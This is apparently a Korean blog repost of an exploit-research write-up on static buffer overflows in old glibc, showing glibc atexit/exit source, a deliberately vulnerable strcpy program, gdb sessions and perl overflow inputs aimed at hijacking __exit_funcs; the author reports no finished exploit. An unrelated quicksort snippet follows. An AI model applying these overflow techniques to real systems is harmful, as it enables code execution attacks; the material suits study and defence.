  __libc_lock_lock (lock);

  for (l = __exit_funcs; l != NULL; l = l->next)
    {
      for (i = 0; i < l->idx; ++i)
	if (l->fns[i].flavor == ef_free)
	  break;
      if (i < l->idx)
	break;

      if (l->idx < sizeof (l->fns) / sizeof (l->fns[0]))
	{
	  i = l->idx++;
	  break;
	}
    }

  if (l == NULL)
    {
      l = (struct exit_function_list *)
	malloc (sizeof (struct exit_function_list));
      if (l != NULL)
	{
	  l->next = __exit_funcs;
	  __exit_funcs = l;

	  l->idx = 1;
      	  i = 0;
	}
    }

  /* Mark entry as used, but we don't know the flavor now.  */
  if (l != NULL)
    l->fns[i].flavor = ef_us;

  __libc_lock_unlock (lock);

  return l == NULL ? NULL : &l->fns[i];
}
----------------------------------------------------------------------

------------------ atexit.c ------------------------------------------
#include <stdlib.h>
#include "exit.h"

/* This is defined by newer gcc version unique for each module.  */
extern void *__dso_handle __attribute__ ((__weak__));


/* Register FUNC to be executed by `exit'.  */
int
atexit (void (*func) (void))
{
  return __cxa_atexit ((void (*) (void *)) func, NULL,
		       &__dso_handle == NULL ? NULL : __dso_handle);
}

/* Hide the symbol so that no definition but the one locally in the
   executable or DSO is used.  */
#ifdef HAVE_DOT_HIDDEN
asm (".hidden\tatexit");
#endif
----------------------------------------------------------------------

그렇다. 우리가 atexit으로 사용하고 있는 함수는 실제 __cxa_atexit을 호출하고 있음을 알 수 있다.
즉, __cxa_atexit ((void (*) (void *)) fini, NULL, NULL); 이 말은 fini함수를 atexit 리스트에
추가하라는 의미가 되겠다.

__cxa_atexit() 내부에서는 struct exit_function *new = __new_exitfn (); 을 통해 저장 공간을 만들고
그곳에 우리가 등록하고자 하는 함수의 주소를 기록하고 있음을 볼 수 있다.
처음으로 fini함수가 등록이 되는 것이라는 것은 이제 쉽게 알 수 있을 것이다.
여기에서 우리는 한가지 주목해야 할 부분이 있다.

static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;

__new_exitfn ()은 위의 __exit_funcs것의 값을 이용하여 그 이후에 저장공간을 마련함을 알 수 있다.
만일 저장공간이 초기화가 되어있지 않은 상태라면(NULL)이라면, 
힙공간에 데이터가 생성되고 있음을 알수 있다.

l = (struct exit_function_list *)
	malloc (sizeof (struct exit_function_list));

자!! 어떤가? 우리는 우리의 프로그램이 설령 malloc()를 전혀 사용하지 않는 프로그램이라 할지라도
처음에 한번은 malloc()에 의해 데이터 공간이 생성되고 있음을 확인할 수 있다.
free() bug를 공부해 본 사람이라면, 눈이 번쩍 뜨일 내용이다.

실제로 exit()함수를 살펴보자. free()가 일어나고 있음을 우리는 보지 않고도 상상이 되리라 본다.

----------------------------- exit.c ------------------------------------
void
exit (int status)
{
  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (__exit_funcs != NULL)
    {
      struct exit_function_list *old;

      while (__exit_funcs->idx > 0)
	{
	  const struct exit_function *const f =
	    &__exit_funcs->fns[--__exit_funcs->idx];
	  switch (f->flavor)
	    {
	    case ef_free:
	    case ef_us:
	      break;
	    case ef_on:
	      (*f->func.on.fn) (status, f->func.on.arg);
	      break;
	    case ef_at:
	      (*f->func.at) ();
	      break;
	    case ef_cxa:
	      (*f->func.cxa.fn) (f->func.cxa.arg, status);
	      break;
	    }
	}

      old = __exit_funcs;
      __exit_funcs = __exit_funcs->next;
      if (__exit_funcs != NULL)
	/* Don't free the last element in the chain, this is the statically
	   allocate element.  */
	free (old);
    }

#ifdef	HAVE_GNU_LD
  RUN_HOOK (__libc_atexit, ());
#else
  {
    extern void _cleanup (void);
    _cleanup ();
  }
#endif

  _exit (status);
}
----------------------------------------------------------------------

자!! 어떤가 free()가 호출되고 있음을 알 수 있다. 
      old = __exit_funcs;
      __exit_funcs = __exit_funcs->next;
      if (__exit_funcs != NULL)
	/* Don't free the last element in the chain, this is the statically
	   allocate element.  */
	free (old);

여기에서 우리는 __exit_funcs->next 부분에 어떤 특정 값을 넣어놓았다면,
그곳이 또한 free() 될 것이라는 것도 예상이 될 것이라 본다.

///////////////////////////////////////////////////////////////////////////////////////////////
/////// 5. 실험

실험환경은 Linux kernel 2.4.2-2 intelx86상에서 수행하였으며, 
실험에 사용한 glibc 버젼은 glibc-2.2.2-10이다.

우리는 위에서 얻은 지식을 통하여 실험을 통해 알아보도록 하자.
우리는 위에서 __cxa_atexit() 내부에서 __exit_funcs포인터가 가리키는 어떤 주소공간(initial이라는 변수)에 
atexit()에 의해 등록이 되는 함수의 포인터가 저장이 되고 있음을 알 수 있다.
또한, exit()함수는 __exit_funcs의 내용을 근거로해서 atexit에 의해 등록되어졌던 함수들이 순서대로
실행이 됨을 알았다.

이제 __exit_funcs은 어느 곳에 생겨나며, 우리가 어떻게 제어할 수 있는가에 대해 생각해 볼 필요가 있다.

우리는 아래의 두 라인을 이미 cxa_atexit.c의 내용에서 보았었다.

static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;
이 두개의 변수를 잘 살펴보자. 이 두개의 변수를 이용하여 우리는 실제 공격을 감행할 것이기 때문이다.

####################################################################
### 5.1 공유라이브러리를 사용하는 경우. 실패를 두려워 하지말자!! ###
####################################################################

자! 실험을 해보도록 하자.
첫번째 공유라이브러리를 사용하는 경우를 살펴보겠다.

[mutacker@int static]$ cat > vul.c
#include <stdio.h>
int main(int argc, char*argv[]) {
        static char buf[128];
        if(argc > 1) strcpy(buf, argv[1]);
}
[mutacker@int static]$ gcc -o vul vul.c

[mutacker@int static]$ gdb vul -q
(gdb) b *(main+3)
Breakpoint 1 at 0x8048463
(gdb) r
Starting program: /home/mutacker/static/vul

Breakpoint 1, 0x08048463 in main ()

(gdb) p &initial
$1 = (struct exit_function_list *) 0x4014d9e0
(gdb) p &__exit_funcs
$2 = (struct exit_function_list **) 0x40149cbc
(gdb) x  0x40149cbc
0x40149cbc <__exit_funcs>:      0x4014d9e0

(gdb) x/32  &initial
0x4014d9e0 <initial>:           0x00000000      0x00000002      0x00000004      0x4000e184
0x4014d9f0 <initial+16>:        0x00000000      0x00000000      0x00000004      0x080484d0
0x4014da00 <initial+32>:        0x00000000      0x00000000      0x00000000      0x00000000
0x4014da10 <initial+48>:        0x00000000      0x00000000      0x00000000      0x00000000
0x4014da20 <initial+64>:        0x00000000      0x00000000      0x00000000      0x00000000
0x4014da30 <initial+80>:        0x00000000      0x00000000      0x00000000      0x00000000
0x4014da40 <initial+96>:        0x00000000      0x00000000      0x00000000      0x00000000
0x4014da50 <initial+112>:       0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/i 0x4000e184
0x4000e184 <_dl_fini>:  push   %ebp
(gdb) x/i 0x080484d0
0x80484d0 <_fini>:      push   %ebp

위의 내용을 기준으로 상황을 정리해 보자.
현재, initial과 __exit_funcs 두 변수는 모두 공유라이브러리 영역에 해당하는 주소 공간에
생성되어 있음을 확인할 수 있다.
penguin문서를 보면 initial은 static 영역에 생성되는 것처럼 설명되어 있으나,
glibc-2.2.2-10 기준으로 보면, 두 변수 모두 공유라이브러리 영역에 생성됨을 알 수 있다.

즉, 실험을 해보면, static 변수 이후의 어느 부분의 값을 변경하더라도 어떠한 종류의 에러도 
발생하지 않음을 알 수 있다.

흠.. 그러면 우리는 저 두값을 바꿀 수 있을까? @@;
아무리 봐도 어려울 것같다. 이대로 무너지는가?
우리의 마지막 희망이었던 변수들이 우리가 건드릴 수 있는 영역이 아닌 곳에 존재하는 것이다.

############################################################
### 5.2 -static 옵션을 사용하여 컴파일 하면 어떻게 될까? ###
############################################################

우리는 5.1에서 공유라이브러리를 사용할 경우 핵심이 되는 두 변수가 공유라이브러리 영역에 생성되어져
있음을 확인할 수 있었다. 만일 공유라이브러리를 이용하지 않은 경우에는 어떻게 될까?
우리의 변수들은 아마도 공유영역이 아닌 우리의 프로세스의 변수 영역으로 옮겨올 것이다.
자! 그러면 어디에 생겨날까? 

우리는 이들 변수들이 생겨나는 위치를 확인하기 위해 프로그램을 약간만 변경하도록 하겠다.

[mutacker@int static]$ cat vul.c
#include <stdio.h>
#include <stdlib.h>

char  noninitglob;
extern struct exit_function_list *__exit_funcs;

int main(int argc, char*argv[]) {
        static char buf[128];
        if(argc > 1) strcpy(buf, argv[1]);

        printf("__exit_funcs : %p\n", &__exit_funcs);
        printf("initial : 0x%x\n", __exit_funcs);
        printf("noninitglob : %p\n", &noninitglob);
        printf("static noninit : %p\n", buf);
}

[mutacker@int static]$ gcc -o vul vul.c -static
[mutacker@int static]$ ./vul aaaaaaaaaaaaaaaaa
__exit_funcs : 0x809ce70
initial : 0x809eea0
noninitglob : 0x809f8a4
static noninit : 0x809ee00

자! 이들 변수들의 위치를 살펴보자.

[__exit_funcs] [static noninit] [initial] [noninitglob]
이런 순이 되겠다.

우리의 희망이 보인다. 
공유라이브러리를 이용했을 경우에는 실제 우리가 의도하는 목표를 세우기는 힘들다.
하지만, -static 옵션을 사용하여, 정적라이브러리를 이용할 경우에는 이들 변수들인
위와 같은 형태의 배치로 생겨남을 알 수 있다.

우리는 비초기화된 전역변수를 이용해서는 atexit()에 의해 생성된 테이블을 변경할 수 
없지만, 비초기화된 static 변수를 이용해서는 그 값을 변경할 수 있음을 알 수 있다.

이제 실험을 해보도록 하자.

[mutacker@int static]$ ./vul `perl -e 'print "A"x160'`
[mutacker@int static]$ ./vul `perl -e 'print "A"x161'`
Segmentation fault (core dumped)
[mutacker@int static]$
[mutacker@int static]$ gdb -q vul core
Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x0804c25f in __libc_free (mem=0x809eda0) at malloc.c:3043
3043    malloc.c: No such file or directory.
        in malloc.c
(gdb) bt
#0  0x0804c25f in __libc_free (mem=0x809eda0) at malloc.c:3043
#1  0x00000001 in ?? ()
#2  0x08048520 in exit (status=134868224) at exit.c:70
(gdb)

위에서 보면 갑자기 eip()값이 엉뚱한 곳을 향했음을 알 수 있다.

[mutacker@int static]$ ./vul `perl -e 'print "A"x160, "\xff\xff\xff\xff"'`
Segmentation fault (core dumped)
[mutacker@int static]$ !gdb
gdb -q vul core
Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x0804c25f in __libc_free (mem=0x809eda0) at malloc.c:3043
3043    malloc.c: No such file or directory.
        in malloc.c
(gdb) x/16 &initial
0x809eda0 <initial>:    0xffffffff      0x00000000      0x00000004      0x0808e260
0x809edb0 <initial+16>: 0x00000000      0x00000000      0x00000000      0x00000000
0x809edc0 <initial+32>: 0x00000000      0x00000000      0x00000000      0x00000000
0x809edd0 <initial+48>: 0x00000000      0x00000000      0x00000000      0x00000000

(gdb) bt
#0  0x0804c25f in __libc_free (mem=0x809eda0) at malloc.c:3043
#1  0x00000000 in ?? ()
(gdb) p __exit_funcs
$1 = (struct exit_function_list *) 0xffffffff

__exit_funcs함수의 포인터 값이 우리가 넣은 0xffffffff로 설정되어 있음을 확인할 수 있다.
어떻게 그렇게 되었을까? 

자!! 분석을 시작해보자.  exit() 부분을 보자.

  while (__exit_funcs != NULL)
    {
      struct exit_function_list *old;

      while (__exit_funcs->idx > 0)
	{
      	  const struct exit_function *const f =
	    &__exit_funcs->fns[--__exit_funcs->idx];
	  switch (f->flavor)
	    {
	    case ef_free:
	    case ef_us:
	      break;
	    case ef_on:
	      (*f->func.on.fn) (status, f->func.on.arg);
	      break;
	    case ef_at:
	      (*f->func.at) ();
	      break;
	    case ef_cxa:
	      (*f->func.cxa.fn) (f->func.cxa.arg, status);
	      break;
	    }
	}

      old = __exit_funcs;
      __exit_funcs = __exit_funcs->next;
      if (__exit_funcs != NULL)
	/* Don't free the last element in the chain, this is the statically
	   allocate element.  */
	free (old);
    }
 

에러난 부분을 보면 free()를 하는 시점에서 에러가 났음을 알 수 있다.
즉, free(old); 부분에 old 값이 0xffffffff값을 갖고 있기 때문에 에러가 발생한 것이다.

0x809eda0 <initial>:    0xffffffff      0x00000000      0x00000004      0x0808e260 

위의 내용을 순서대로 살펴보면 
__exit_funcs은 초기 0x809eda0을 갖는다.
따라서, __exit_funcs->next = 0xffffffff, __exit_funcs->idx = 0을 갖게된다.
위의 흐름에 따라 idx값이 0이 되어버렸으므로, while (__exit_funcs->idx > 0) 조건에 만족하지 못하고
     old = __exit_funcs;
      __exit_funcs = __exit_funcs->next;
      if (__exit_funcs != NULL)
	/* Don't free the last element in the chain, this is the statically
	   allocate element.  */
	free (old);

__exit_funcs에 0xffffffff가 저장되고 있음을 알 수 있다.
그리고, 다시 루프가 돌아 돌아왔을 때, 0xffffffff가 free()가 되려고 하게 되고, 이로 인해 
오류가 발생할 것으로 예상된다.

우리는 여기에서 exploit을 만드는데 있어서 두가지 방법이 존재할 것으로 예상된다.
첫번째는 __exit_funcs을 위한 fake frame을 하나 만들어서 풀이하는 방법이다.
두번째는 free() bug를 이용해 보는 것이다.

이 문서에서는 먼저 첫번째 방법을 이용하여 해보고, 이후에 두번째 방법을 이용하여 해결해 보려한다.

먼저 __exit_funcs을 위한 fake frame을 하나 만들어서 해결하는 방법을 통해 해결해 보도록 하자.
이를 위해서는 우리는 아래와 같은 설정 필요할 것이다.

(1) __exit_funcs->idx의 값을 0보다 큰 수를 저장
(2) f->flavor에 ef_at에 해당하는 수를 저장
(3) f->func.at 부분에 쉘코드 주소를 저장

이를 위해서는 __exit_funcs의 fake frame이 다음과 같은 형태를 취할 것으로 예상된다.

[next를 위한 어떤 값] [0보다 큰수] [flavor를 위해 0x00000003] [shellcode주소] [주소] ...

헌데, 위에서 우리는 문제가 하나 발생했다.
0x00000003 부분에 우리가 아규먼트로는 넘길수 없는 0x00값이 너무 많이 들어간다는 것이다.

흠!!! 첫번째 방법으로 해결이 어렵다는 것인가?
여기에서 우리는 주저앉을 필요는 없다.

첫번째 루프에서 안되면 두번째 루프에서 가능하도록 하면 되는 것이다.
이를 위해 우리는 __exit_funcs = __exit_funcs->next; 이 라인을 이용해 볼 것이다.
만일 __exit_funcs->next 이 주소에 위에서 설정한 것과 비슷한 형태의 내용이 메모리에 존재한다면 
그곳의 주소를 __exit_funcs->next에 설정하면 될 것이라는 것이다.
여기에서 우리는 절대로 \x00을 입력으로 넣을 수 없음에 주의하자!!

자 그러면 먼저 위에서 설정한 형태와 비슷한 곳이 있는가를 먼저 찾아보자!! 없으면 끝장이다.

어딘가에서 저런 형태를 구할수 있을까?
우리는 main(int argc, char* argv[]) 에서 main의 매개변수가 어떻게 구성되어있을까에 주목해 보자.

[mutacker@int static]$ ./vul AAAAA AAAAA
argc : 0xbffffcd0

0xbffffcc0  00 00 00 00 40 e9 08 08 08 fd ff bf 82 87 04 08   ....@...........
                                    ~~~~~~~~~~~~~~~~~~~~~~~
0xbffffcd0  03 00 00 00 34 fd ff bf 44 fd ff bf 00 00 00 00   ....4...D.......
            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
0xbffffce0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffcf0  40 e9 08 08 b4 80 04 08 50 86 04 08 00 00 00 00   @.......P.......
0xbffffd00  03 00 00 00 00 00 00 00 00 00 00 00 01 81 04 08   ................
0xbffffd10  50 86 04 08 03 00 00 00 34 fd ff bf b4 80 04 08   P.......4.......
0xbffffd20  40 e9 08 08 00 00 00 00 2c fd ff bf 00 00 00 00   @.......,.......
0xbffffd30  03 00 00 00 ec fd ff bf f2 fd ff bf f8 fd ff bf   ................
0xbffffd40  00 00 00 00 fe fd ff bf 18 fe ff bf 31 fe ff bf   ............1...
0xbffffd50  44 fe ff bf 5c fe ff bf 7e fe ff bf 8a fe ff bf   D...\...~.......
0xbffffd60  98 fe ff bf a3 fe ff bf c2 fe ff bf e0 fe ff bf   ................
0xbffffd70  f5 fe ff bf 15 ff ff bf 20 ff ff bf 31 ff ff bf   ........ ...1...
0xbffffd80  39 ff ff bf 49 ff ff bf 57 ff ff bf 68 ff ff bf   9...I...W...h...
0xbffffd90  76 ff ff bf 80 ff ff bf 94 ff ff bf d8 ff ff bf   v...............
0xbffffda0  e0 ff ff bf 00 00 00 00 10 00 00 00 ff f9 83 03   ................
0xbffffdb0  06 00 00 00 00 10 00 00 11 00 00 00 64 00 00 00   ............d...
                                    ~~~~~~~~~~~~~~~~~~~~~~~
0xbffffdc0  0f 00 00 00 e7 fd ff bf 00 00 00 00 00 00 00 00   ................
            ~~~~~~~~~~~~~~~~~~~~~~~
0xbffffdd0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffde0  00 00 00 00 00 00 00 69 36 38 36 00 2e 2f 76 75   .......i686../vu
0xbffffdf0  6c 00 41 41 41 41 41 00 41 41 41 41 41 00 50 57   l.AAAAA.AAAAA.PW

프로그램을 약간 변경하여 메모리의 내용을 살펴보았다.
위의 ~~~ 부분에 주목하라. 어떤가? 정말 굳이다.
어쩌면 저리도 우리가 원하는 형태와 동일한 형태를 띄어준단 말인가?
위에서 03 00 00 00 이 부분은 인자의 갯수를 argv[0], argv[1], 순으로 실제 메모리 상의 주소값이
나오고 있음을 알 수 있다.
그러면 우리는 argc의 주소에서 -8을 한 위치의 주소를 __exit_funcs->next에 설정하면
다음 루프에서 __exit_funcs->idx에 0x08048101, f->flavor = 0x00000003, f->func.at에는 argv[0]
식으로 들어간다.

긴급사태 발생 ㅡㅡ;
const struct exit_function *const f =
	    &__exit_funcs->fns[--__exit_funcs->idx];

위에서 __exit_funcs->idx의 값이 현재 너무 크다. 따라서 인덱스 값이 너무 크게 작용하므로, 
에러가 날 가능성이 보인다. 이전 버젼에서는 flavor가 없었다. ㅡㅡ;

그러면 다시 이와 유사하면서 __exit_funcs->idx값이 작은 영역을 찾아야 한다.
ㅡㅡ; 없다.. 흠냐~ 정말 없다 ㅡㅡ;
만일 원문제와 같은 아주 단순한 프로그램이 아니라, 표준입력을 통해 입력을 받아들이는 부분이
존재한다면, 그 프레임을 꾸미고, 그곳으로 next포인터를 돌림으로써 적용이 가능하리라 생각된다.
이 부분에 대해 이후에 별도로 실험을 해보도록 하겠다.

만일 위의 문제가 다음과 같은 형태라면 문제는 쉽게 해결이 가능할 것이다.

<-- copy from here 
#include <stdio.h>

int main(int argc,char *argv[])
{
    static char buf[128];
    fgets(buf, 500, stdin);
  
}
-- to here -->

위와 같은 형태라면, 표준입력을 통하여 \x00에 해당하는 값을 입력을 받을 수 있기 때문에, 
쉽게 프레임을 만들어버릴 수 있다. 이를 통해 쉽게 exploit의 제작이 가능하다.
만일 next까지만 오버가 가능하다할지라도, 이 또한 static 변수에 프레임을 구성하고 
static 변수의 주소를 next값으로 설정하면 되는 것이기 때문에 그리 어려운 문제가 되지 않는다.

이제 남은 건 free()버그를 이용하는 방법만이 남아있다.
이 부분은 이 문서의 다음 버젼에서 시도하도록 하겠다.
너무 피곤해서리 ㅡㅡ;

///////////////////////////////////////////////////////////////////////////////////////////////
/////// 6. 결론

아규먼트나 환경변수와 같은 0값을 전달할 수 없는 상황에서의 static char buffer overflow에 관련된 
사항을 실험을 통해 알아보았다. 아직, free()버그 기법을 적용해보지는 못했으며, 이에 대해서는
본 문서를 수정해가면서 검토하도록 할 것이다.

기존에 제작되었던 Pascal의 문서가 glibc버젼이 올라가면서 실제 적용이 어려움을 알아보았다.
현재, free()기법을 적용하지 못했지만, 실제 적용했을 때 충분히 exploit이 가능할 것으로 보인다.

본 문서에서는 static char buffer overflow에 관련된 사항을 알아보면서, 
atexit()함수에 의해 생성되는 __exit_funcs의 생성 및 사용, 구조에 대해 알아보고, 어떻게
exploit이 가능하겠는가에 대한 구조에 대해 알아보았다.
즉, 본 문서를 통해 실제 exploit에 대한 제작 기법은 소개하지 못함을 죄송하게 생각한다.
근 시일내에 새로 수정된 버젼을 기대해 본다.

때로는 실패도 성공의 어머니랬다. ^^;

///////////////////////////////////////////////////////////////////////////////////////////////
/////// 7. 참고 문헌: 

  [1]. w00w00 on Heap Overflows
       By: Matt Conover (a.k.a. Shok) & w00w00 Security Team

  [2]. __atexit in memory bugs
       By Pascal Bouchareine <pb@hert.org>


[ 펌 : http://webcache.googleusercontent.com/search?q=cache:S7X8iTdGNvwJ:agz.es/Reverse-Engineering/Exploit/exploit%2520%255Bmutacker%255D.txt+&cd=1&hl=ko&ct=clnk&gl=kr&lr=lang_ko&client=ubuntu ]

'자료' 카테고리의 다른 글

[STL] vector구현(수정)  (0) 2016.02.09
Heap 기반 free() & malloc() Exploit 작성하기  (0) 2015.12.26
[자료구조] Binary Search Tree(BST)  (0) 2015.12.12
[Python] Rop Exploit  (0) 2015.12.05
[Python] Blind SQL Injection  (0) 2015.12.05
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

// BST.h



//BST.cpp


블로그 이미지

KuroNeko_

KuroNeko

,
반응형

#include <iostream>

#include <string>

#include <cstring>


using namespace std;


template<typename var>

void Swap(var *des, var *src){

    var temp = *des;

    *des = *src;

    *src = temp;

}


template<typename var>

void quick_sort(var arr[], int left, int right){

    if(left > right)

        return;

    

    var pivot = arr[left];

    var temp;

    int l = left + 1, r = right;

    

    while(l <= r){

        while(arr[l] <= pivot) l++;

        while(arr[r] > pivot) r--;


        if(l > r) break;


        // Swap

        Swap(&arr[l], &arr[r]);

    }

    

    Swap(&arr[r], &arr[left]);

    

    quick_sort(arr, left, r-1);

    quick_sort(arr, r+1, right);

}

'Programming > 자료구조' 카테고리의 다른 글

[자료구조] Fenwick Tree(Binary Indexed Tree)  (0) 2016.03.03
버블 소팅(Bubble Sorting)  (0) 2015.08.06
블로그 이미지

KuroNeko_

KuroNeko

,